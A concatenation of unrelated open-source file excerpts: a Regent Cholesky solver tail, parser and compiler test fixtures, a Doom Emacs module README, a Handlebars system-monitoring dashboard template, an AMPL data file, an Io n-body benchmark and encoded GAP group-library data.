Y.bounds.lo, Y.bounds.hi) dgemv(A, X, Y, cblas.CblasNoTrans) end end end c.printf("Backward Substitution\n") for par_lvl = 0, levels do var par_level = tree[par_lvl] for par_idx in par_level.ispace do var par_sep = par_level[par_idx].node var pivot = mat_part[{par_sep, par_sep}] var bp = Bpart[par_sep] var sizeA = pivot.bounds.hi - pivot.bounds.lo + {1, 1} var sizeB = bp.bounds.hi - bp.bounds.lo + {1, 1} -- c.printf("Level: %d TRSV A=(%d, %d) B=(%d)\nSizeA: %dx%d Lo: %d %d Hi: %d %d SizeB: %d Lo: %d 1 Hi: %d 1\n\n", -- par_level, par_sep, par_sep, par_sep, -- sizeA.x, sizeA.y, pivot.bounds.lo.x, pivot.bounds.lo.y, pivot.bounds.hi.x, pivot.bounds.hi.y, -- sizeB, bp.bounds.lo, bp.bounds.hi) dtrsv(pivot, bp, cblas.CblasLower, cblas.CblasTrans) for lvl = par_lvl+1, levels do var level = tree[lvl] for sep_idx = [int](par_idx*math.pow(2, lvl-par_lvl)), [int]((par_idx+1)*math.pow(2, lvl-par_lvl)) do var sep = level[sep_idx].node var A = mat_part[{par_sep, sep}] var sizeA = A.bounds.hi - A.bounds.lo + {1, 1} var X = Bpart[par_sep] var sizeX = X.bounds.hi - X.bounds.lo + 1 var Y = Bpart[sep] var sizeY = Y.bounds.hi - Y.bounds.lo + 1 var vol = c.legion_domain_get_volume(c.legion_domain_from_rect_2d(A.bounds)) if vol ~= 0 then -- c.printf("\tLevel: %d GEMV A=(%d, %d) X=(%d) Y=(%d)\n\tSizeA: %dx%d Lo: %d %d Hi: %d %d SizeX: %d Lo: %d 1 Hi: %d 1 SizeY: %d Lo: %d 1 Hi: %d 1\n\n", -- level, sep, par_sep, par_sep, sep, -- sizeA.x, sizeA.y, A.bounds.lo.x, A.bounds.lo.y, A.bounds.hi.x, A.bounds.hi.y, -- sizeX, X.bounds.lo, X.bounds.hi, -- sizeY, Y.bounds.lo, Y.bounds.hi) dgemv(A, X, Y, cblas.CblasTrans) end end end end end c.printf("Done solve.\n") var j = 0 for sep = 1, num_separators+1 do var separator = separators[sep] for i in separator.ispace do var idxi = separator[i].idx X[idxi] = B[j] j += 1 end end if c.strcmp(solution_file, '') ~= 0 then write_solution(solution_file, X) end end regentlib.start(main, ccholesky.register_mappers)

Rouge

syamajala/cholesky

mmat.rg

# @prefix without prefix name . @prefix <http://www.w3.org/2013/TurtleTests/> .

Turtle

joshrose/audacity

lib-src/lv2/serd/tests/TurtleTests/turtle-syntax-bad-prefix-04.ttl

#+TITLE: ui/doom-quit #+DATE: February 19, 2017 #+SINCE: v2.0 #+STARTUP: inlineimages * Table of Contents :TOC_3:noexport: - [[#description][Description]] - [[#module-flags][Module Flags]] - [[#plugins][Plugins]] - [[#prerequisites][Prerequisites]] - [[#features][Features]] - [[#configurations][Configurations]] - [[#troubleshooting][Troubleshooting]] * Description A silly module that prompts you with messages when you try to quit, like DOOM did. Some quotes are from Doom's quit-message list. Others are random, nerdy references that no decent human being has any business recognising. ** Module Flags This module provides no flags ** Plugins This module uses no Plugins * Prerequisites This module provides no prerequisite * Features This module only works when you run individual Emacs instances and not the daemon. * Configurations you can configure the messages by adding to the variable ~+doom-quit-messages~ #+BEGIN_SRC emacs-lisp (setq +doom-quit-messages '(;;from doom 2 "Don't go now, there's a dimensional shambler waiting at the dos prompt!" "Get outta here and go back to your boring programs." "If I were your boss, I'd deathmatch ya in a minute!" "Look, bud. You leave now and you forfeit your body count!" "You're lucky I don't smack you for thinking about leaving.")) #+END_SRC * Troubleshooting If you have any issues with this module do let me know

Org

leezu/doom-emacs

modules/ui/doom-quit/README.org

// @lib: es5,es2015.promise // @noEmitHelpers: true // @target: ES5 declare var y; async function hoisting() { var a0, a1 = 1; function z() { var b0, b1 = 1; } if (true) { var c0, c1 = 1; } for (var a = 0; y;) { } for (var b in y) { } for (var c of y) { } } async function hoistingWithAwait() { var a0, a1 = 1; function z() { var b0, b1 = 1; } await 0; if (true) { var c0, c1 = 1; } for (var a = 0; y;) { } for (var b in y) { } for (var c of y) { } }

TypeScript

nilamjadhav/TypeScript

tests/cases/compiler/es5-asyncFunctionHoisting.ts

unit class Abody implement A import B body procedure MyA var b : ^B new b b -> MyB put "A" end MyA body procedure MyA2 put "C" end MyA2 end Abody

Turing

ttracx/OpenTuring

turing/test/implement by example/Abody.tu

{{!-- Fancy HTML based dashboard Uses bootstrap and chartjs to generate static dashboard. Meta variables: - title - theme Colors from: http://clrs.cc/ --}} <!DOCTYPE html> <html> <head> <!-- Bootstrap and font awesome --> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/{{coalesce meta.theme 'flatly'}}/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css"> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.2/jquery.min.js"></script> <script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script> <!-- Chartjs --> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/1.1.0/Chart.min.js"></script> <script type="text/javascript"> Chart.defaults.global.animation = {{coalesce meta.animation 'true'}}; </script> <style type="text/css"> .inspector { height: 350px; } pre.cmdbox { max-height: 120px; overflow: auto; word-wrap: normal; white-space: pre; } </style> <title>{{coalesce meta.title 'System Summary'}}</title> </head> <body> <nav class="navbar navbar-inverse"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#top">{{coalesce meta.title 'System Summary'}}</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> {{#servers}} <li><a href="#{{name}}">{{name}}</a></li> {{/servers}} </ul> </div> </div> </nav> <a name="top"></a> <div class="container"> <p class="text-right">Report generated on: <em>{{ctime}}</em></p> </div> {{#servers}} <div class="container"> <a name="{{name}}"></a> <div class="page-header"> <h1>{{name}}</h1> </div> <div class="container-fluid"> <div class="row"> {{!-- Alarms --}} <div class="col-xs-4 inspector"> <h2>Alarms</h2> <table class="table table-condensed table-striped"> {{#inspectors}}{{#alarms}} <tr> <td title="{{statement}}">{{name}}</td> <td> {{#if fired}} <span class="glyphicon glyphicon-remove" style="color: #FF4136"></span> {{else}} <span class="glyphicon glyphicon-ok" style="color: #2ECC40"></span> {{/if}} </td> </tr> {{/alarms}}{{/inspectors}} </table> </div> {{#inspectors}} <div class="col-xs-4 inspector"> <h2>{{name}}</h2> {{!-- MEMORY --}} {{#ifEq type 'memory'}} <div class="col-xs-6"> <h3>Mem</h3> <canvas id="memgraph-{{alphanum ../name}}" width="125" height="125"></canvas> <table class="table table-condensed"> <tr><td>Free</td><td>{{metrics.mem_free}}</td></tr> <tr><td>Cached</td><td>{{metrics.cached}}</td></tr> <tr><td>Total</td><td>{{metrics.mem_total}}</td></tr> </table> </div> <div class="col-xs-6"> <h3>Swap</h3> <canvas id="swapgraph-{{alphanum ../name}}" width="125" height="125"></canvas> <table class="table table-condensed"> <tr><td>Free</td><td>{{metrics.swap_free}}</td></tr> <tr><td>Total</td><td>{{metrics.swap_total}}</td></tr> </table> </div> <script type="text/javascript"> (function(){ var data = [ { value: ({{metrics.mem_total.mb}} - {{metrics.mem_free.mb}} - {{metrics.cached.mb}})|0, color: "#FF4136", label: "Used (MB)" }, { value: {{metrics.cached.mb}}|0, color: "#0074D9", label: "Cached (MB)" }, { value: {{metrics.mem_free.mb}}|0, color: "#DDDDDD", label: "Free (MB)" } ]; var ctx = document.getElementById("memgraph-{{alphanum ../name}}").getContext("2d"); new Chart(ctx).Doughnut(data); })(); (function(){ var data = [ { value: ({{metrics.swap_total.mb}} - {{metrics.swap_free.mb}})|0, color: "#FF851B", label: "Used (MB)" }, { value: {{metrics.swap_free.mb}}|0, color: "#DDDDDD", label: "Free (MB)" } ]; var ctx = document.getElementById("swapgraph-{{alphanum ../name}}").getContext("2d"); new Chart(ctx).Doughnut(data); })(); </script> {{/ifEq}} {{!-- Disk space --}} {{#ifEq type 'disk'}} <canvas id="disk-{{alphanum ../name}}-{{alphanum name}}" width="150" height="150"></canvas> <script type="text/javascript"> (function(){ var data = [ { value: {{metrics.used.gb}}|0, color: "#001f3f", label: "Used (GB)" }, { value: {{metrics.available.gb}}|0, color: "#DDDDDD", label: "Free(GB)" } ]; var ctx = document.getElementById("disk-{{alphanum ../name}}-{{alphanum name}}").getContext("2d"); new Chart(ctx).Pie(data); })(); </script> <table class="table table-striped table-condensed"> <tr> <td>Used</td> <td>{{metrics.used}}</td> </tr> <tr> <td>Free</td> <td>{{metrics.available}}</td> </tr> <tr> <td>Total</td> <td>{{metrics.size}}</td> </tr> </table> {{/ifEq}} {{!-- Load Average --}} {{#ifEq type 'loadavg'}} <canvas id="loadavg-{{alphanum ../name}}" width="300" height="150"></canvas> <script type="text/javascript"> (function(){ var data = { labels: ["1m", "5m", "15m"], datasets: [ { label: "Load", fillColor: "rgba(151,187,205,0.5)", strokeColor: "rgba(151,187,205,0.8)", highlightFill: "rgba(151,187,205,0.75)", highlightStroke: "rgba(151,187,205,1)", data: [{{metrics.load_1m}}, {{metrics.load_5m}}, {{metrics.load_15m}}] } ] }; var ctx = document.getElementById("loadavg-{{alphanum ../name}}").getContext("2d"); new Chart(ctx).Bar(data); })(); </script> {{/ifEq}} {{!-- TCP --}} {{#ifEq type 'tcp'}} <table class="table table-striped"> <thead> <tr> <th>Port</th> <th>Status</th> </tr> </thead> <tbody> {{#each metrics}} <tr> <td>{{@key}}</td> <td> {{#if .}} <span class="glyphicon glyphicon-ok" style="color: #2ECC40"></span> {{else}} <span class="glyphicon glyphicon-remove" style="color: #FF4136"></span> {{/if}} </td> </tr> {{/each}} </tbody> </table> {{/ifEq}} {{!-- HTTP --}} {{#ifEq type 'http'}} <a href="{{metrics.url}}" target="_blank"><samp>{{metrics.url}}</samp></a> <table class="table table-striped"> <tr> <td>Success</td> <td> {{#if metrics.success}} <span class="glyphicon glyphicon-ok" style="color: #2ECC40"></span> True {{else}} <span class="glyphicon glyphicon-remove" style="color: #FF4136"></span> False {{/if}} </td> </tr> <tr> <td>Status</td> <td><code>{{metrics.status}}</code></td> </tr> </table> {{#if metrics.json}} <pre class="cmdbox">{{metrics.json}}</pre> {{/if}} {{/ifEq}} {{!-- Exec --}} {{#ifEq type 'exec'}} <p>Exec: <code>{{config.command}}</code></p> {{#if metrics.status}}<p>Return: <code>{{metrics.status}}</code></p>{{/if}} {{#if metrics.stdout}} Stdout: <pre class="cmdbox">{{metrics.stdout}}</pre> {{/if}} {{#if metrics.stderr}} Stderr: <pre class="cmdbox">{{metrics.stderr}}</pre> {{/if}} {{#if config.extract}} <table class="table table-striped"> {{#each metrics}} <tr> <td>{{@key}}</td> <td>{{.}}</td> </tr> {{/each}} </table> {{/if}} {{/ifEq}} {{!-- Process --}} {{#ifEq type 'process'}} {{#if metrics}} <table class="table table-striped"> {{#each metrics}} <tr> <td>{{@key}}</td> <td>{{.}}</td> </tr> {{/each}} </table> {{else}} <div class="alert alert-danger">No metrics for process</div> {{/if}} {{/ifEq}} {{!-- FileMeta --}} {{#ifEq type 'filemeta'}} <table class="table table-striped table-condensed"> <tr> <td>Count</td> <td>{{metrics.count}}</td> </tr> <tr> <td>Size</td> <td>{{metrics.size}}</td> </tr> <tr> <td>Largest</td> <td>{{metrics.largest}}</td> </tr> <tr> <td>Smallest</td> <td>{{metrics.smallest}}</td> </tr> <tr> <td>Newest</td> <td>{{metrics.newest}}</td> </tr> <tr> <td>Oldest</td> <td>{{metrics.oldest}}</td> </tr> </table> {{/ifEq}} {{!-- system --}} {{#ifEq type 'system'}} <table class="table table-striped table-condensed"> <tr> <td>Uptime</td> <td>{{metrics.uptime}}</td> </tr> <tr> <td>Idle</td> <td>{{metrics.idle}}</td> </tr> </table> {{/ifEq}} {{!-- network --}} {{#ifEq type 'network'}} <canvas id="network-{{alphanum ../name}}" width="300" height="150"></canvas> <script type="text/javascript"> (function(){ var data = { labels: [ {{#each metrics.interfaces}}'{{@key}}', {{/each}} ], datasets: [ { label: "Received", fillColor: "rgba(151,205,187,0.5)", strokeColor: "rgba(151,205,187,0.8)", highlightFill: "rgba(151,205,187,0.75)", highlightStroke: "rgba(151,205,187,1)", data: [{{#each metrics.interfaces}}{{format '{:.2f}' receive.bytes.gb}},{{/each}}] }, { label: "Transmitted", fillColor: "rgba(205,187,151,0.5)", strokeColor: "rgba(205,187,151,0.8)", highlightFill: "rgba(205,187,151,0.75)", highlightStroke: "rgba(205,187,151,1)", data: [{{#each metrics.interfaces}}{{format '{:.2f}' transmit.bytes.gb}},{{/each}}] } ] }; var options = { scaleLabel: "<%=value%> GB" }; var ctx = document.getElementById("network-{{alphanum ../name}}").getContext("2d"); new Chart(ctx).Bar(data, options); })(); </script> {{/ifEq}} </div> {{/inspectors}} </div> </div> </div> <hr /> {{/servers}} <div class="container"> <p class="text-right"><small>Report generated by <a href="http://sshsysmon.zdyn.net/" target="_blank">SshSysMon</a> on <em>{{ctime}}</em></small></p> </div> </body> </html>

Harbour

zix99/sshsysmon

sshsysmon/templates/htmldash.hb

# this file has been copied by the R-package antaresXpansion # # this file should have been copied in the temporary folder of # current expansion optimisation, i.e.: # study_path/user/expansion/temp/ # # all data files are supposed to be located in the same folder data; #number of mc years set YEAR := include in_mc.txt; #number of weeks set WEEK := include in_week.txt; #iteration set ITERATION := include in_iterations.txt; #invested capacity in the simulated iterations param z0 := include in_z0.txt ; #investment candidates description param : INV_CANDIDATE : c_inv unit_size max_unit relaxed := include in_candidates.txt ; param : restrained_lb restrained_ub := include in_out_capacitybounds.txt; #bender cuts param : AVG_CUT : c0_avg := include in_avgcuts.txt ; param : YEARLY_CUT_ALL : c0_yearly := include in_yearlycuts.txt ; param : WEEKLY_CUT_ALL : c0_weekly := include in_weeklycuts.txt ; #marg. cost of each investment (as returned by ANTARES) param lambda_avg := include in_avgrentability.txt ; param lambda_yearly := include in_yearlyrentability.txt ; param lambda_weekly := include in_weeklyrentability.txt ; # uper bound on total costs param ub_cost := include in_ubcosts.txt; # options param prob := include in_yweights.txt; param : OPTION : option_default_value := include master_default_options.txt; param : OPTION_REDIFINED : option_new_value = include in_options.txt;

AMPL

AntaresSimulatorTeam/antares-launcher

tests/data/STUDIES-IN-FOR-TEST/one_node_v7/user/expansion/temp/master_dat.ampl

#!/usr/bin/env io /* The Great Computer Language Shootout http://shootout.alioth.debian.org Contributed by Ian Osgood */ Vector setItemType("float64") vector := method(v := Vector clone; call evalArgs foreach(n, v append(n)); v) Body := Object clone do( solarMass := 4 * Number constants pi squared daysPerYear := 365.24 ) Sim := Object clone do( bodies := list( # Sun Body clone do( p := vector(0,0,0) v := vector(0,0,0) mass := solarMass ), # Jupiter Body clone do( p := vector( 4.84143144246472090e00, -1.16032004402742839e00, -1.03622044471123109e-01) v := vector( 1.66007664274403694e-03, 7.69901118419740425e-03, -6.90460016972063023e-05) * daysPerYear mass := 9.54791938424326609e-04 * solarMass ), # Saturn Body clone do( p := vector( 8.34336671824457987e00, 4.12479856412430479e00, -4.03523417114321381e-01) v := vector(-2.76742510726862411e-03, 4.99852801234917238e-03, 2.30417297573763929e-05) * daysPerYear mass := 2.85885980666130812e-04 * solarMass ), # Uranus Body clone do( p := vector( 1.28943695621391310e01, -1.51111514016986312e01, -2.23307578892655734e-01) v := vector( 2.96460137564761618e-03, 2.37847173959480950e-03, -2.96589568540237556e-05) * daysPerYear mass := 4.36624404335156298e-05 * solarMass ), # Neptune Body clone do( p := vector( 1.53796971148509165e01, -2.59193146099879641e01, 1.79258772950371181e-01) v := vector( 2.68067772490389322e-03, 1.62824170038242295e-03, -9.51592254519715870e-05) * daysPerYear mass := 5.15138902046611451e-05 * solarMass ) ) # offset momentum p := vector(0,0,0) bodies foreach(body, p -= body v * body mass) bodies at(0) v = p / Body solarMass energy := method( e := 0 bodies foreach(i, body, e = e + body mass * body v square sum / 2 for(j, i + 1, bodies size - 1, body2 := bodies at(j) e = e - body mass * body2 mass / body p distanceTo(body2 p) ) ) e ) advance := method(steps, dt, dp := vector(0,0,0) dp2 := vector(0,0,0) steps repeat( bodies foreach(i, body, for(j, i + 1, bodies size - 1, body2 := bodies at(j) dp2 copy(dp copy(body p) -= body2 p) m := body p distanceTo(body2 p) pow(3) body v -= dp *= body2 mass *= dt /= m body2 v += dp2 *= body mass *= dt /= m ) ) bodies foreach(body, body p += (dp copy(body v) *= dt) ) ) ) ) //Collector setDebug(true) Sim energy asString(0,17) println Sim advance(System args at(1) asNumber, 0.01) Sim energy asString(0,9) println

Io

akluth/io

samples/shootout/nbody.io

const fs = require("fs"); module.exports = { findBundle: function(i, options) { var files = fs.readdirSync(options.output.path); return ["runtime.js", files.filter(f => /^main/.test(f))[0]]; } };

JavaScript

1shenxi/webpack

test/configCases/split-chunks/runtime-chunk-no-async/test.config.js

#\30hash {}

CSS

kitsonk/swc

css/parser/tests/fixture/esbuild/misc/XetGJrWBJuC-NtgpX2eq1Q/input.css

############################################################################# ## #W sml512.cy GAP library of groups Hans Ulrich Besche ## Bettina Eick, Eamonn O'Brien ## SMALL_GROUP_LIB[ 512 ][ 103 ] := [ "%%%%%%%%(D9-->e1)<,,8c%n%D2&%%!{PHD=]!}uHD80!}xHD=>!}t3D80!}w3D80!}u3D80!}x\ 3D=>!}tQD=>!}wQD=>!}uQD=>!}xQD=>!}t%/=>!}w%/=>!}u%/=>!}x%/=(!}tD/=A!}wD/=A!}\ uD/=A!}xD/=B!}t//=)!}w//=)!}u//=)!}x//=*!}tM/=>!}wM/=> }uM/Qd2UEh=b4WGj/RBea\ )L9]1TDg-P>c5XHk }xM/Q2UEhb4WGj/RBe+a)L9]1TDg-P>c5XHk!}t)/=>!}w)/=>!}u)/=> }\ x)/Qd2UEh=b4WGj/RBe+a)L9]1", "%%%%%%%%(D9-->e1)<,,8&%P%D2&%%!}Q)=-!}tG=A!}wG=A!}uG=A!}xG=A!}t2=>!}w2=>!}u\ 2=>!}x2=A!}tP=>!}wP=>!}uP=>!}xP=A!}t&=(!}w&=(!}u&=(!}x&=(!}tE=(!}wE=(!}uE=)!\ }xE=(!}t0=)!}w0=)!}u0=)!}x0=)!}tN=(!}wN=(!}uN=(!}xN=)!}t*=B!}w*=B G&*A", "%%%%%%%%(D9-->e1)<,,8c%P%D2&%% }u*%d2UEhb4WGj/RBea)L9]1TDg-P>c5XHk!}x*%=B!}\ tH%=B!}wH%=B!}uH%=B!}xH%=*!}t3%=B!}w3%=B!}u3%=B!}x3%=*!}tQ%=*!}wQ%=*!}uQ%=*!\ }xQ%=*!}t%D=*!}w%D=*!}u%D=*!}x%D8j!}tDD=&!}wDD=&!}uDD=&!}xDD=%!}t/D8i!}w/D8i\ !}u/D8i!}x/D8d!}tMD=*!}wMD=* }uMDQ2UEhb4WGj/RBe)L9]1TDg-P>c5XHk }xMD2UEh4WGj\ /RBea)L9]1TDg-P>c5XHk!}t)D=*!}w)D=* }u)DQ2UEhb4WGj/RBea)L9]", "%%%%%%%%(D9-->e1)<,,8E%P%D2&%%!}N)7,!}x)=*!}tG=&!}wG=&!}uG=&!}xG=&!}t2=*!}w\ 2=*!}u2=*!}x2=&!}tP=*!}wP=*!}uP=*!}xP=&!}t&8j!}w&8j!}u&8j!}x&8j!}tE8j!}wE8j!\ }uE8i!}xE8j!}t08i!}w08i!}u08i!}x08i!}tN8j!}wN8j!}uN8j!}xN8i!}t*=%!}w*=%!}u*=\ %!}x*=% G%HA", "%%%%%%%%(D9-->e1)<,,8c%n(D2&%%!}tHM8d!}wHM=%!}uHM=%!}xHM8d!}t3M=%!}w3M=%!}u\ 3M=%!}x3M8d!}tQM8d!}wQM8d!}uQM8d!}xQM8d!}t%)8d!}w%)8d!}u%)8d!}x%)8N }tD)2UEh\ 4Gj/RBe)L9]1TDg-P>c5XHk }wD)2UEh4Gj/RBe)L9]1TDg-P>c5XHk }uD)2UEh4Gj/RBe)L9]1\ TDg-P>c5XHk!}xD)8a }t/)2Eh4WGj/Be)L9]1TDg-P>c5XHk }w/)2Eh4WGj/Be)L9]1TDg-P>c\ 5XHk }u/)2Eh4WGj/Be)L9]1TDg-P>c5XHk!}x/)8M!}tM)8d!}wM)8d }uM)2UEh4WGj/Be)L9]\ 1TDg-P>c5XHk }xM)2Eh4Gj/RBe)L9]1TDg-P>c5XHk!}t))8d!}w))8d!}u))8d!}x))8d }tG)\ 2UEh4Gj/RBe)L9]1TDg-P>c5XHk }wG)2UEh4Gj/RBe)L9]1TDg-P>c5XHk }uG)2UEh4Gj/RBe)\ L9]1TDg-P>c5XHk }xG)2UEh4Gj/RBe)L9]1TDg-P>c5XHk yt2).QAd2UEh(", "%%%%%%%%(D9-->e1)<,,8&%2&D2&%% }k2QAd(K8[0SCf,O=b4WGj!}w28d!}u28d }x22UEh4G\ j/RBe)L9]1TDg-P>c5XHk!}tP8d!}wP8d!}uP8d }xP2UEh4Gj/RBe)L9]1TDg-P>c5XHk!}t&8N\ !}w&8N!}u&8N!}x&8N!}tE8N!}wE8N }uE2Eh4WGj/Be)L9]1TDg-P>c5XHk!}xE8N }t02Eh4WG\ j/Be)L9]1TDg-P>c5XHk }w02Eh4WGj/Be)L9]1TDg-P>c5XHk }u02Eh4WGj/Be)L9]1TDg-P>c\ 5XHk }x02Eh4WGj/Be)L9]1TDg-P>c5XHk!}tN8N!}wN8N!}uN8N }xN2Eh4WGj/Be)L9]1TDg-P\ >c5XHk!}t*8a!}w*8a!}u*8a!}x*8a!}tH8a!}wH8a!}uH8a!}xH8M!}t38a!}w38a!}u38a!}x3\ 8M!}tQ8M!}wQ8M *&QA", "%%%%%%%%(D9-->e1)<,,8c%2&D2&%% }uQ%Eh4Gj/Be)L9]1TDg-P>c5XHk!}xQ%8M!}t%D8M!}\ w%D8M!}u%D8M }x%D2E4Gj/Be)L9]1TDg-P>c5XHk }tDD2EhGj/Be)L9]1TDg-P>c5XHk }wDD2\ EhGj/Be)L9]1TDg-P>c5XHk }uDD2EhGj/Be)L9]1TDg-P>c5XHk!}xDD8O }t/D2E4Gj/e)L9]1\ TDg-P>c5XHk }w/D2E4Gj/e)L9]1TDg-P>c5XHk }u/D2E4Gj/e)L9]1TDg-P>c5XHk!}x/D8K!}\ tMD8M!}wMD8M }uMD2Eh4Gj/e)L9]1TDg-P>c5XHk }xMD2EGj/Be)L9]1TDg-P>c5XHk!}t)D8M\ !}w)D8M!}u)D8M!}x)D8M }tGD2EhGj/Be)L9]1TDg-P>c5XHk }wGD2EhGj/Be)L9]1TDg-P>c5\ XHk }uGD2EhGj/Be)L9]1TDg-P>c5XHk }xGD2EhGj/Be)L9]1TDg-P>c5XHk!}t2D8M!}w2D8M!\ }u2D8M }x2D2EhGj/Be)L9]1TDg-P>c5XHk!}tPD8M!}wPD8M!}uPD8M }xPD2EhGj/Be)L9]1TD\ g-P>c5XHk }t&D2E4Gj/Be)L9]1TDg-P>c5XHk }w&D2E4Gj/Be)L9]1TDg-P>c5XHk }u&D2E4G\ j/Be)L9]1TDg-P>c5XHk }x&D2E4Gj/Be)L9]1TDg-P>c5XHk }tED2E4Gj/Be)L9]1TDg-P>c5X\ Hk }wED2E4Gj/Be)L9]1TDg-P>c5XHk }uED2E4Gj/e)L9]1TDg-P>c5XHk yxED.A2Eh(8[", "%%%%%%%%(D9-->e1)<,,8c%n&D2&%%!}QED.c }t0D2E4Gj/e)L9]1TDg-P>c5XHk }w0D2E4Gj\ /e)L9]1TDg-P>c5XHk }u0D2E4Gj/e)L9]1TDg-P>c5XHk }x0D2E4Gj/e)L9]1TDg-P>c5XHk }\ tND2E4Gj/Be)L9]1TDg-P>c5XHk }wND2E4Gj/Be)L9]1TDg-P>c5XHk }uND2E4Gj/Be)L9]1TD\ g-P>c5XHk }xND2E4Gj/e)L9]1TDg-P>c5XHk!}t*D8O!}w*D8O!}u*D8O!}x*D8O!}tHD8O!}wH\ D8O!}uHD8O!}xHD8K!}t3D8O!}w3D8O!}u3D8O!}x3D8K!}tQD8K!}wQD8K!}uQD8K!}xQD8K!}t\ %/8K!}w%/8K!}u%/8K }x%/EGj/e)L9]1TDg-P>c5XHk }tD/2Ej/e)L9]1TDg-P>c5XHk }wD/2\ Ej/e)L9]1TDg-P>c5XHk }uD/2Ej/e)L9]1TDg-P>c5XHk }xD/2Ej/)L9]1TDg-P>c5XHk }t//\ EGj/)L9]1TDg-P>c5XHk }w//EGj/)L9]1TDg-P>c5XHk }u//EGj/)L9]1TDg-P>c5XHk!}x//:\ g!}tM/8K!}wM/8K }uM/2EGj/)L9]1TDg-P>c5XHk }xM/Ej/e)L9]1TDg-P>c5XHk!}t)/8K!}w\ )/8K!}u)/8K!}x)/8K }tG/2Ej/e)L9]1TDg", "%%%%%%%%(D9-->e1)<,,8c%P&D2&%% {zG%,O=b4WGj/Bi }nG%.d(K8[0SCf,O=b4WGj }uG%2\ Ej/e)L9]1TDg-P>c5XHk }xG%2Ej/e)L9]1TDg-P>c5XHk!}t2%8K!}w2%8K!}u2%8K }x2%2Ej/\ e)L9]1TDg-P>c5XHk!}tP%8K!}wP%8K!}uP%8K }xP%2Ej/e)L9]1TDg-P>c5XHk }t&%EGj/e)L\ 9]1TDg-P>c5XHk }w&%EGj/e)L9]1TDg-P>c5XHk }u&%EGj/e)L9]1TDg-P>c5XHk }x&%EGj/e\ )L9]1TDg-P>c5XHk }tE%EGj/e)L9]1TDg-P>c5XHk }wE%EGj/e)L9]1TDg-P>c5XHk }uE%EGj\ /)L9]1TDg-P>c5XHk }xE%EGj/e)L9]1TDg-P>c5XHk }t0%EGj/)L9]1TDg-P>c5XHk }w0%EGj\ /)L9]1TDg-P>c5XHk }u0%EGj/)L9]1TDg-P>c5XHk }x0%EGj/)L9]1TDg-P>c5XHk }tN%EGj/\ e)L9]1TDg-P>c5XHk }wN%EGj/e)L9]1TDg-P>c5XHk }uN%EGj/e)L9]1TDg-P>c5XHk }xN%EG\ j/)L9]1TDg-P>c5XHk }t*%2Ej/)L9]1TDg-P>c5XHk }w*%2Ej/)L9]1TDg-P>c5XHk }u*%2Ej\ /)L9]1TDg-P>c5XHk }x*%2Ej/)L9]1TDg-P>c5XHk }tH%2Ej/)L9]1TDg-P>c5XHk }wH%2Ej/\ )L9]1TDg-P>c5XHk }uH%2Ej/)L9]1TDg-P>c5XHk!}xH%:g }t3%2Ej/)L9]1TDg-P>c5XHk }w\ 3%2Ej/)L9]1TDg-P>c5XHk }u3%2Ej/)L9]1TDg-P>c5XHk!}x3%:g!}tQ%:g!}wQ%:g!}uQ%:g!\ }xQ%:g!}t%D:g!}w%D:g!}u%D:g }x%Dj/)L9]1TDg-P>c5XHk }tDDE/)L9]1TDg-P>c5XHk }w\ DDE/)L9]1TDg-P>c5XHk", "%%%%%%%%(D9-->e1)<,,8E%P&D2&%% }uDE/)L9]1TDg-P>c5XHk }xDE)L9]1TDg-P>c5XHk!}\ ]/>B }^/h(K8[0SCf,O=b4WGj)L9]1TDg-P>c5XHk!}tM:g!}wM:g }uMEj)L9]1TDg-P>c5XHk \ }oM.(K8[0SCf,O=b4WGj!}t):g!}w):g!}u):g!}x):g }tGE/)L9]1TDg-P>c5XHk }wGE/)L9]\ 1TDg-P>c5XHk }uGE/)L9]1TDg-P>c5XHk }xGE/)L9]1TDg-P>c5XHk!}t2:g!}w2:g!}u2:g }\ x2E/)L9]1TDg-P>c5XHk!}tP:g!}wP:g!}uP:g }xPE/)L9]1TDg-P>c5XHk }t&j/)L9]1TDg-P\ >c5XHk }w&j/)L9]1TDg-P>c5XHk }u&j/)L9]1TDg-P>c5XHk }x&j/)L9]1TDg-P>c5XHk }tE\ j/)L9]1TDg-P>c5XHk }wEj/)L9]1TDg-P>c5XHk }^Eh(K8[0SCf,O=b4WGji }oE.(K8[0SCf,\ O=b4WGj!}]0>B!}^0>B }tNj/)L9]1TDg-P>c5XHk }wNj/)L9]1TDg-P>c5XHk }uNj/)L9]1TD\ g-P>c5XHk!}ZN>= }t*E)L9]1TDg-P>c5XHk }w*E)L9]1TDg-P>c5XHk }u*E)L9]1TDg-P>c5X\ Hk }x*E)L9]1TDg-P>c5XHk }tHE)L9]1TDg-P>c5XHk }wHE)L9]1TDg-P>c5XHk }uHE)L9]1T\ Dg-P>c5XHk!}QH.c }t3E)L9]1TDg-P>c5XHk }w3E)L9]1TDg-P>c5XHk }u3E)L9]1TDg-P>c5\ XHk!}Q3.c!}UQ0D", "%%%%%%%%(D9--3e1)<,,8c%n(D<-,%!}oQM=x!}t%*0l }w%*%6Y.QAd*M:^2UEh(8[0SCf,O=b\ 4WGj&7Z/RBe+N<a3VFi)9]1TDg-Pc5XHk }u%*%I6Y.QAd*M^2Uh(K8[0SCf,Ob4Wj&J7Z/RBe+N\ a3Vi)9]1TDg-Pc5Xk }x%*%I6Y.QAd*M:^2UEh(K8[0SCf,O=b4WGj&J7Z/RBe+Na3VFi)9]1TDg\ -P>c5Xk!}tD*0k }wD*%6Y.QAd*M:^2UEh(8[0SCf,O=b4WGj&7Z/RBe+N<a3VFi)9]1TDg-P>c5\ XHk!}uD*0P!}xD*0P!}t/*3( 